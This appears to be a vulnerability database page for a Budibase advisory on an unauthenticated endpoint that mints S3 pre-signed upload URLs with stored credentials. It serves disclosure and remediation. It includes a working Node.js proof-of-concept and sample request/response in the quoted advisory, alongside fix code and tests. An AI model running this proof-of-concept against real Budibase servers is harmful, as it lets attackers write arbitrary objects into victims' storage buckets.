CVE-2026-50137: Budibase Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-35c4-rvc8-frhm
CVSS 9.4
CWE-862
Published
Advisory Summary

CVE-2026-50137 is a HIGH (CVSS 9.4) remote code execution vulnerability (CWE-862: Missing Authorization) affecting Budibase libraries in the npm ecosystem. The issue involves post /api/attachments/:datasourceid/url is unauthenticated and lets anonymous callers mint s3 put pre-signed urls using stored datasource iam credentials. Remediation is available by upgrading affected packages to version 3.39.0.

CVE-2026-50137 at a Glance

CVE Identifier CVE-2026-50137
GHSA Identifier GHSA-35c4-rvc8-frhm
Severity HIGH
CVSS v3.1 Base Score 9.4
CWE Classification CWE-862: Missing Authorization
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-50137

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/server fixed: 3.39.0
npm install @budibase/server@3.39.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-50137, inspect your project dependencies using npm:

npm ls @budibase/server

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.39.0), your application is affected.

Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket. The workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's "deny access to dev preview" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too. Net effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for. ## Affected code [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18): ```ts import { permissions } from "@budibase/backend-core" import Router from "@koa/router" import { authorizedMiddleware as authorized } from "../../middleware/authorized" import recaptcha from "../../middleware/recaptcha" import { paramResource } from "../../middleware/resourceId" import * as controller from "../controllers/static" const { BUILDER, PermissionType, PermissionLevel } = permissions const router: Router = new Router() // ... router .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile) .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) .post( "/api/attachments/:tableId/upload", recaptcha, paramResource("tableId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.uploadFile ) // ... .post( "/api/attachments/:datasourceId/url", recaptcha, controller.getSignedUploadURL // <- no authorized(...) ) ``` Note the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not. [`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645): ```ts export const getSignedUploadURL = async function (ctx) { let datasource try { const { datasourceId } = ctx.params datasource = await sdk.datasources.get(datasourceId, { enriched: true }) if (!datasource) { ctx.throw(400, "The specified datasource could not be found") } } catch (error) { ctx.throw(400, "The specified datasource could not be found") } let signedUrl, publicUrl const awsRegion = (datasource?.config?.region || "eu-west-1") as string if (datasource?.source === "S3") { const { bucket, key } = ctx.request.body || {} if (!bucket || !key) { ctx.throw(400, "bucket and key values are required") } try { let endpoint = datasource?.config?.endpoint if (endpoint && !utils.urlHasProtocol(endpoint)) { endpoint = `https://${endpoint}` } const s3 = new S3({ region: awsRegion, endpoint, credentials: { accessKeyId: datasource?.config?.accessKeyId as string, secretAccessKey: datasource?.config?.secretAccessKey as string, }, }) const params = { Bucket: bucket, Key: key } signedUrl = await getSignedUrl(s3, new PutObjectCommand(params)) if (endpoint) { publicUrl = `${endpoint}/${bucket}/${key}` } else { publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}` } } catch (error: any) { ctx.throw(400, error) } } ctx.body = { signedUrl, publicUrl } } ``` `sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built. `recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops. ## Reproduction Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries): ```js #!/usr/bin/env node // PoC: Unauthenticated S3 signed-upload-URL minting in Budibase // usage: node poc.js <budibase-base-url> <app-id> <datasource-id> "use strict" const http = require("http") const https = require("https") const { URL } = require("url") function postJson(targetUrl, headers, body) { return new Promise((resolve, reject) => { const u = new URL(targetUrl) const lib = u.protocol === "https:" ? https : http const payload = Buffer.from(JSON.stringify(body), "utf8") const req = lib.request( { method: "POST", protocol: u.protocol, hostname: u.hostname, port: u.port || (u.protocol === "https:" ? 443 : 80), path: u.pathname + u.search, headers: Object.assign( { "Content-Type": "application/json", "Content-Length": payload.length, // Deliberately not a recognised browser UA so the // currentWorkspace dev-preview redirect does not fire. "User-Agent": "budibase-poc/1.0", }, headers || {} ), }, res => { const chunks = [] res.on("data", c => chunks.push(c)) res.on("end", () => resolve({ status: res.statusCode, body: Buffer.concat(chunks).toString("utf8"), }) ) } ) req.on("error", reject) req.write(payload) req.end() }) } async function main() { const [baseUrl, appId, datasourceId] = process.argv.slice(2) if (!baseUrl || !appId || !datasourceId) { console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>") process.exit(2) } const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket" const key = process.env.POC_KEY || `pwn/${Date.now()}.html` const url = baseUrl.replace(/\/$/, "") + `/api/attachments/${encodeURIComponent(datasourceId)}/url` const resp = await postJson( url, { "x-budibase-app-id": appId }, { bucket, key } ) console.log(`HTTP ${resp.status}`) console.log(resp.body) } main().catch(err => { console.error(err) process.exit(1) }) ``` Wire-level request: ``` POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1 Host: budibase.example:10000 x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy Content-Type: application/json User-Agent: budibase-poc/1.0 Content-Length: 36 {"bucket":"victim-bucket","key":"x.html"} ``` Response: ``` HTTP/1.1 200 OK Content-Type: application/json { "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject", "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html" } ``` The attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials. The existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review. ## Impact - **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost. - **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim. - **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region. No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`. ## Suggested fix Attach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only. Minimal patch shape: ```ts .post( "/api/attachments/:datasourceId/url", recaptcha, paramResource("datasourceId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.getSignedUploadURL ) ``` And in the controller, before calling `getSignedUrl`: ```ts const configuredBucket = datasource?.config?.bucket if (configuredBucket && bucket !== configuredBucket) { ctx.throw(400, "bucket does not match configured datasource bucket") } ``` ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). ## Fix PR A candidate fix has been prepared on the temporary private fork that was created from this advisory: - PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1 - Branch: `fix/attachment-url-auth-and-bucket-pin` - Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url` The patch is the canonical two-part fix: 1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open. 2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL. Two regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts): - `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before). - `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: "other-bucket", key: "bar" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`). Test run on the patch (Jest, `packages/server`): ``` PASS src/api/routes/tests/static.spec.ts /static /attachments generateSignedUrls v should be able to generate a signed upload URL v should reject unauthenticated callers v should ignore a client-supplied bucket and pin to the datasource's configured bucket v should reject when the datasource has no configured bucket v should handle an invalid datasource ID v should require a key parameter ```

CVE-2026-50137 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.39.0
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/server
npm
< 3.39.0
3.39.0

References

Frequently Asked Questions

What is CVE-2026-50137?
CVE-2026-50137 is a security vulnerability in Budibase involving POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials under CWE-862: Missing Authorization.
Which Budibase versions are affected?
Affected versions include releases prior to 3.39.0 across affected packages: @budibase/server.
What version fixes CVE-2026-50137?
Upgrading to 3.39.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/server affected?
Yes, @budibase/server is affected in releases prior to 3.39.0. Upgrade your dependency to 3.39.0 or later.
What is the CVSS score of CVE-2026-50137?
CVE-2026-50137 has a CVSS v3.1 base score of 9.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-50137?
CVE-2026-50137 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for CVE-2026-50137?
Run the dependency tree command: 'npm ls @budibase/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35c4-rvc8-frhm",
  "modified" : "2026-07-21T15:04:50Z",
  "published" : "2026-06-22T23:19:26Z",
  "aliases" : [ "CVE-2026-50137" ],
  "summary" : "Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials",
  "details" : "## Summary\n\nThe Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.\n\nThe workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's \"deny access to dev preview\" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.\n\nNet effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.\n\n## Affected code\n\n[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):\n\n```ts\nimport { permissions } from \"@budibase/backend-core\"\nimport Router from \"@koa/router\"\nimport { authorizedMiddleware as authorized } from \"../../middleware/authorized\"\nimport recaptcha from \"../../middleware/recaptcha\"\nimport { paramResource } from \"../../middleware/resourceId\"\nimport * as controller from \"../controllers/static\"\n\nconst { BUILDER, PermissionType, PermissionLevel } = permissions\n\nconst router: Router = new Router()\n// ...\nrouter\n  .post(\"/api/attachments/process\", authorized(BUILDER), controller.uploadFile)\n  .post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)\n  .post(\n    \"/api/attachments/:tableId/upload\",\n    recaptcha,\n    paramResource(\"tableId\"),\n    authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n    controller.uploadFile\n  )\n  // ...\n  .post(\n    \"/api/attachments/:datasourceId/url\",\n    recaptcha,\n    controller.getSignedUploadURL                       // <- no authorized(...)\n  )\n```\n\nNote the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.\n\n[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):\n\n```ts\nexport const getSignedUploadURL = async function (ctx) {\n  let datasource\n  try {\n    const { datasourceId } = ctx.params\n    datasource = await sdk.datasources.get(datasourceId, { enriched: true })\n    if (!datasource) {\n      ctx.throw(400, \"The specified datasource could not be found\")\n    }\n  } catch (error) {\n    ctx.throw(400, \"The specified datasource could not be found\")\n  }\n\n  let signedUrl, publicUrl\n  const awsRegion = (datasource?.config?.region || \"eu-west-1\") as string\n  if (datasource?.source === \"S3\") {\n    const { bucket, key } = ctx.request.body || {}\n    if (!bucket || !key) {\n      ctx.throw(400, \"bucket and key values are required\")\n    }\n    try {\n      let endpoint = datasource?.config?.endpoint\n      if (endpoint && !utils.urlHasProtocol(endpoint)) {\n        endpoint = `https://${endpoint}`\n      }\n      const s3 = new S3({\n        region: awsRegion,\n        endpoint,\n        credentials: {\n          accessKeyId: datasource?.config?.accessKeyId as string,\n          secretAccessKey: datasource?.config?.secretAccessKey as string,\n        },\n      })\n      const params = { Bucket: bucket, Key: key }\n      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))\n      if (endpoint) {\n        publicUrl = `${endpoint}/${bucket}/${key}`\n      } else {\n        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`\n      }\n    } catch (error: any) {\n      ctx.throw(400, error)\n    }\n  }\n\n  ctx.body = { signedUrl, publicUrl }\n}\n```\n\n`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.\n\n`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.\n\n## Reproduction\n\nProof-of-concept Node.js script (no AWS SDK dependency, no external libraries):\n\n```js\n#!/usr/bin/env node\n// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase\n// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>\n\n\"use strict\"\nconst http = require(\"http\")\nconst https = require(\"https\")\nconst { URL } = require(\"url\")\n\nfunction postJson(targetUrl, headers, body) {\n  return new Promise((resolve, reject) => {\n    const u = new URL(targetUrl)\n    const lib = u.protocol === \"https:\" ? https : http\n    const payload = Buffer.from(JSON.stringify(body), \"utf8\")\n    const req = lib.request(\n      {\n        method: \"POST\",\n        protocol: u.protocol,\n        hostname: u.hostname,\n        port: u.port || (u.protocol === \"https:\" ? 443 : 80),\n        path: u.pathname + u.search,\n        headers: Object.assign(\n          {\n            \"Content-Type\": \"application/json\",\n            \"Content-Length\": payload.length,\n            // Deliberately not a recognised browser UA so the\n            // currentWorkspace dev-preview redirect does not fire.\n            \"User-Agent\": \"budibase-poc/1.0\",\n          },\n          headers || {}\n        ),\n      },\n      res => {\n        const chunks = []\n        res.on(\"data\", c => chunks.push(c))\n        res.on(\"end\", () =>\n          resolve({\n            status: res.statusCode,\n            body: Buffer.concat(chunks).toString(\"utf8\"),\n          })\n        )\n      }\n    )\n    req.on(\"error\", reject)\n    req.write(payload)\n    req.end()\n  })\n}\n\nasync function main() {\n  const [baseUrl, appId, datasourceId] = process.argv.slice(2)\n  if (!baseUrl || !appId || !datasourceId) {\n    console.error(\"usage: node poc.js <baseUrl> <appId> <datasourceId>\")\n    process.exit(2)\n  }\n  const bucket = process.env.POC_BUCKET || \"attacker-chosen-bucket\"\n  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`\n  const url = baseUrl.replace(/\\/$/, \"\") +\n    `/api/attachments/${encodeURIComponent(datasourceId)}/url`\n  const resp = await postJson(\n    url,\n    { \"x-budibase-app-id\": appId },\n    { bucket, key }\n  )\n  console.log(`HTTP ${resp.status}`)\n  console.log(resp.body)\n}\n\nmain().catch(err => {\n  console.error(err)\n  process.exit(1)\n})\n```\n\nWire-level request:\n\n```\nPOST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1\nHost: budibase.example:10000\nx-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\nContent-Type: application/json\nUser-Agent: budibase-poc/1.0\nContent-Length: 36\n\n{\"bucket\":\"victim-bucket\",\"key\":\"x.html\"}\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"signedUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject\",\n  \"publicUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html\"\n}\n```\n\nThe attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials.\n\nThe existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review.\n\n## Impact\n\n- **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.\n- **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.\n- **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region.\n\nNo MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`.\n\n## Suggested fix\n\nAttach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only.\n\nMinimal patch shape:\n\n```ts\n.post(\n  \"/api/attachments/:datasourceId/url\",\n  recaptcha,\n  paramResource(\"datasourceId\"),\n  authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n  controller.getSignedUploadURL\n)\n```\n\nAnd in the controller, before calling `getSignedUrl`:\n\n```ts\nconst configuredBucket = datasource?.config?.bucket\nif (configuredBucket && bucket !== configuredBucket) {\n  ctx.throw(400, \"bucket does not match configured datasource bucket\")\n}\n```\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`).\n\n\n\n## Fix PR\n\nA candidate fix has been prepared on the temporary private fork that was created from this advisory:\n\n- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1\n- Branch: `fix/attachment-url-auth-and-bucket-pin`\n- Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url`\n\nThe patch is the canonical two-part fix:\n\n1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open.\n2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.\n\nTwo regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts):\n\n- `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before).\n- `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: \"other-bucket\", key: \"bar\" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`).\n\nTest run on the patch (Jest, `packages/server`):\n\n```\nPASS src/api/routes/tests/static.spec.ts\n  /static\n    /attachments\n      generateSignedUrls\n        v should be able to generate a signed upload URL\n        v should reject unauthenticated callers\n        v should ignore a client-supplied bucket and pin to the datasource's configured bucket\n        v should reject when the datasource has no configured bucket\n        v should handle an invalid datasource ID\n        v should require a key parameter\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.39.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-35c4-rvc8-frhm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50137"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T23:19:26Z",
    "nvd_published_at" : "2026-06-26T21:16:34Z"
  }
}